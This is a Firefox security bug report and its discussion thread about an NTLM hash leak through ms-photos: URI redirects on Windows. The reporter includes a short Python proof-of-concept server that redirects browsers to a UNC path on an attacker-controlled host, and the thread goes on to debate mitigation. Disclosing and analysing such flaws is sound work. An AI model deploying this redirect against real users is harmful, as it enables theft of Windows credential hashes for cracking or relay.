2011624 - NTLM hash leak vulnerability from Mozilla Firefox Browser

Status: UNCONFIRMED

(Firefox :: File Handling, defect)

Description

[Ruben Enkaoua]

Attachment: server.py

Steps to reproduce:

Create a Python server:

from http.server import BaseHTTPRequestHandler, HTTPServer

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/favicon.ico":
            self.send_response(404)
            self.end_headers()
            self.wfile.write(b"Not Found")
        else:
            self.send_response(302)  # Redirect everything else
            self.send_header('Location', 'ms-photos:viewer?fileName=\\\\<IP>\\<sharename>\\<filename>')
            self.end_headers()

if __name__ == "__main__":
    server_address = ("0.0.0.0", 80)
    httpd = HTTPServer(server_address, RedirectHandler)
    print("Server running at http://0.0.0.0:80")
    httpd.serve_forever()

When accessing the server from a Mozilla Firefox browser, the user will be asked to open the legitimate Windows Photos.exe application.
By clicking it, in newer versions of Microsoft Windows, the OS wil lask the user if the server is trusted. If clicked, the NTLM hash will leak
In older versions of windows, just by clicking on Open Photos prompt the NTLM hash will leak, since Firefox is not natively patched to prevent this

Actual results:

The Windows Firefox browser redirected the user to ms-photos:// application containing the IP of the malicious server, leaking the user NTLMv2-SSP hash password, that can be later cracked to have the Windows password of the victim or relayed to a service that accepts internally or externally NTLM authentication under the same domain.
It is important to know that no matter the windows version, the firefox browser level is not patched

Expected results:

The ms-photos shouldn't have accepted the URI redirection especially when it makes it open an internal application with specific parameters forcing the client to authenticate without approval to the server

Comment 1

[Ruben Enkaoua]

Attachment: MS-photos-NTLM-exposure-firefox.pdf

Report for the vulnerability

Comment 2

[Andrew McCreight [:mccr8]]

Thanks for the report. According to this report, it also affects other browsers.

I assume you also reported this to Chrome. Could you please give us a link to the report in the Chromium tracker? Even though it is likely hidden, it can be useful to have here.

Comment 3

[Ruben Enkaoua]

Hi!
Yes no problem

https://issuetracker.google.com/issues/477508616

Here is the link to the issue
Thanks

Comment 4

[Andrew McCreight [:mccr8]]

Okay, thanks, though I was expecting something under https://issues.chromium.org

Comment 5

[Ruben Enkaoua]

Hi, this is the only link I get from my report

I did it from the bughunters.google.com platform, if you know a way for me to retrieve (if it exists) a issues.chromium.org ticket number I would be glad to help you!

Best regards
Ruben

Comment 6

[Ruben Enkaoua]

I just checked
Because I reported it today maybe there is no chromium ticket yet
Apparently since they will read it in bug hunters from google they will route the issue to chromium project
I’ll keep you updated if anything changes

Comment 7

[Daniel Veditz [:dveditz]]

The chromium issue tracker uses the same issue number. They have decided not to fix this as it's really an issue with ms-paint/Windows. MS seems to have somewhat acknowledged the problem by adding the prompt, but without explaining the risks most users are not equipped to make the safe choice. IMHO if a program registers a scheme as a "URL Protocol" then it's a bug on their part if they don't safely handle arbitrary URLs from the internet.

On Firefox's part we already prompt the user that the site wants to open a "ms-paint:" link before letting it go to the OS, and then they will get a second prompt from the OS. The only other thing we could do would be to block the use of ms-paint: entirely. We've done that before for schemes like ms-help: so it's not unthinkable:
https://searchfox.org/firefox-main/rev/131497bb1b747587b2b21b1abf14f44ecffad805/modules/libpref/init/all.js#1062

That would protect people who had no intention of using ms-paint, but break those links for users who did. How common are they? And how common is the use of NTLM these days. I have no idea if it's worth it but it would be easy to do; the Chrome folks don't want to fix it though.

Unhiding the bug because the reporter's github project is public (with 30 forks and 185 stars). The Chromium issue is public also.

Comment 8

[Ruben Enkaoua]

Hi

The Github project is mine.
I disclosed it after MSRC did nothing to patch it, to raise awareness since the vulnerability could allow a threat actor to lead a large scale supply chain attack from infected websites, through Mozilla Firefox or other browsers, to get NTLMv2-SSP hashes.

NTLMv2-SSP is still in use. All Windows devices still support it. It is bad...
The flaw could enable relay attacks and cracking the challenge could allow to discover credentials and reuse it.

I am planning on releasing soon a next blog about the vulnerability. I talked about the OS part, and then I'll talk about the Browser part.
Regarding the responsibility of patching, MSRC didn't take the matter seriously, and people are worried in different blogs:

https://x.com/RubenLabs/status/1990492263286292859

In my next blog, I am going to talk about each browser, how the vulnerability was handled since it allows to access an internal application with a URI scheme, that contains itself a UNC path (it is a mess), what CVE has been assigned and how MSRC and browser companies throw each other the responsibility.

The ms-paint you told about sounds way more responsible than the behaviors of Chrome / Brave response, I hope to get a concrete patch here blocking internal URI schemes that can have parameters related to File Create (UNC paths).

Essentially, we are talking about Exposure of resources to wrong sphere (CWE-668) and Improper Authorization in handler for customer URL Scheme (CWE-939), specially related to Browser vulnerabilities (Utilize a user prompt pop-up to authorize potentially harmful actions such as those modifying data or dealing with sensitive information).

Keep me updated about your decision.

Best regards
Ruben

Comment 9

[:Gijs (he/him)]

Looks like our older telemetry didn't capture ms-photos external protocol usage: https://searchfox.org/mozilla-esr102/rev/2ac4b481997e2bcf569c91d8bb7ab1e5a0b7b1b0/toolkit/mozapps/handling/ContentDispatchChooser.jsm#78 . (note: ms-photos, not ms-paint, though that is also not captured).

That would protect people who had no intention of using [ms-photos], but break those links for users who did. How common are they? And how common is the use of NTLM these days. I have no idea if it's worth it but it would be easy to do; the Chrome folks don't want to fix it though.

So I don't think there's currently an answer for this question (of how common the links are). If I had to guess, MS might use it for their onedrive web site to offer the ability to open photos direct in MS photos? And if so, breaking that completely would probably harm a non-trivial set of users (or force them to give up on using Firefox, at least for that site but that's a slippery slope). But I don't have an account/subscription to check that assumption. If no other browser is making MS Photos harder to use, being the first/only mover and completely blocking the protocol is very unattractive given the other web compat issues we already face, so without evidence that there are no (or very limited) "honest" uses of the protocol, I'd be inclined to do the same as Chrome and mark WONTFIX.

Somehow understanding the URL scheme and blocking only for malicious use is much harder from an engineering pov, and also unlikely to work particularly well in the face of changes to the URL scheme (which MS has already made before). It would also be a slippery slope (should we do this for the many dozens of other arbitrary app-registered URL schemes that exist? How much harm is too much harm before we decide to block or otherwise warn (e.g. unintentional joining of video calls, NTLM hashes, network/DNS requests that the user may not expect, redirecting back to the browser (losing referrer information), etc. etc.). The space here is more or less infinite, and ever-changing. In this I feel similar to the Chrome response:

I don't think it's reasonable for Chrome to understand arbitrary URL schemes and how they may or may not embed file paths that might end up leaking NTLM hashes.

Blocking protocol handlers entirely if they're being exceptionally stupid is much more manageable, but also quite a big hammer, and I don't know that we want to wield it here. It's also not clear to me if NTLM hashes are always leaked - the twitter discourse suggests this isn't always the case, and enterprise networks (where this is more important) would presumably have outgoing packet filtering to mitigate attacks like this. It would be different if it was Firefox itself sending the hash info (which we'd also have more control over to fix it), but it's not.

Dan, WDYT?

Comment 10

[Ruben Enkaoua]

Hi

Regarding the twitter post it is also my post and I verified it. It discloses the hash in every situation with default configuration, except if an explicit outbound firewall rule has been configured blocking SMB traffic (in a WebDAV client case it would be harder since web ports are in use).

It also discloses it whether in an internal network rogue server or in a public IP listening VPS (tested).

Indeed. You are right, Firefox process doesn’t leaks itself the hash, but it is the one that enables the untrusted zone issue, letting the browser accessing an internal app, enabling with external parameters to leak the NTLM hash since the 302 redirect URL contains a UNC path.

Best Regards,
Ruben

Comment 11

[:Gijs (he/him)]

(In reply to Ruben Enkaoua from comment #10)

Regarding the twitter post it is also my post and I verified it. It discloses the hash in every situation with default configuration, except if an explicit outbound firewall rule has been configured blocking SMB traffic (in a WebDAV client case it would be harder since web ports are in use).

I was referring to https://xcancel.com/OneCloudEmoji/status/1990998628505432459#m which is not yours. It suggests that the attack only works if the user has connected to the SMB server in question before, which makes it more or less useless as an attack (you would get the NTLM hash the first time anyway). There do not appear to be replies from you to this claim.

Comment 12

[Ruben Enkaoua]

What is being said there is exactly what I explained in the report.
@onecloudemoji said that it didn’t work after one click but two clicks, after allowing the connection to the SMB server (didn’t work as « one shot »)
This is the silent patch that has been said before from Windows, adding another prompt from the client asking if the server is trusted after my report to MSRC.
as I said before:

“““
When accessing the server from a Mozilla Firefox browser, the user will be asked to open the legitimate Windows Photos.exe application.
By clicking it, in newer versions of Microsoft
Windows, the OS wil lask the user if the server is trusted. If clicked, the NTLM hash will leak
In older versions of windows, just by clicking on Open Photos prompt the NTLM hash will leak, since Firefox is not natively patched to prevent this
“““

This is the maximum protection MSRC added after my report, making it two click instead of one click.

At the OS level this is the maximum protection offered. The browser itself allowing the redirect to the internal app should be considered as a CWE-939 (Improper Authorization in Handler for Custom URL Scheme) and a CWE-668 (exposure of resources to the wrong sphere) since the system exposes authentication material to an untrusted network sphere from web origin interaction.

Comment 13

[Ruben Enkaoua]

I closed the case by mistake

Comment 14

[:Gijs (he/him)]

(In reply to Ruben Enkaoua from comment #12)

What is being said there is exactly what I explained in the report.
@onecloudemoji said that it didn’t work after one click but two clicks, after allowing the connection to the SMB server (didn’t work as « one shot »)

No, that's not what it says. Here is a direct quote of the tweet:

I have been able to get this to work if I make an explicit connection to the SMB server prior to opening the web page redirect. Once a successful prior connection has been established it works as shown in the repo, but I have not been able to get it working as a oneshot

The emphasized phrasing suggests to me that the user must connect outside of MS Photos first (and presumably allow/send credentials). That would make this effectively useless, as you'd just steal the credentials the first time you connect.

Unfortunately, I am not in a position to check how this works myself.

This is the silent patch that has been said before from Windows, adding another prompt from the client asking if the server is trusted after my report to MSRC. [...] making it two click instead of one click.

Well, so you have to convince the user to open your malicious page, they have to accept the Firefox prompt (allow <origin> to open MS Photos), then they have to accept the MS Photos prompt (connect to <evil-ntlm-stealing-site>). And based on the above tweet, maybe it'll only work if the user has previously connected to <evil-ntlm-stealing-site> ?

Comment 15

[Ruben Enkaoua]

So it happens that I just verified on a cloud instance I've never sent my credentials to before, never met ever from a Firefox browser.
first time opening the link ever, first time querying the IP using SMB too while it is on an external listening server.

The NTLMv2-SSP hash was sent, so the tweet is basically wrong. I am running on latest Firefox there (147.0.1).

Also, yes, on latest Windows versions it is asking first Open Photos and then asks if the server is trusted. On older than 11/2025 Windows versions, it doesn't and clicking on Open Photos is enough to leak the hash.

Patching the browser on this matter isn't only about the Windows security releases it is also hermetically about how the browser itself isn't letting to escape from an untrusted zone to a trusted one, leaking credentials.

Comment 16

[Ruben Enkaoua]

Attachment: hash.png

Comment 17

[Ruben Enkaoua]

Attachment: prompt.png

Comment 18

[Ruben Enkaoua]

Attachment: trusted.png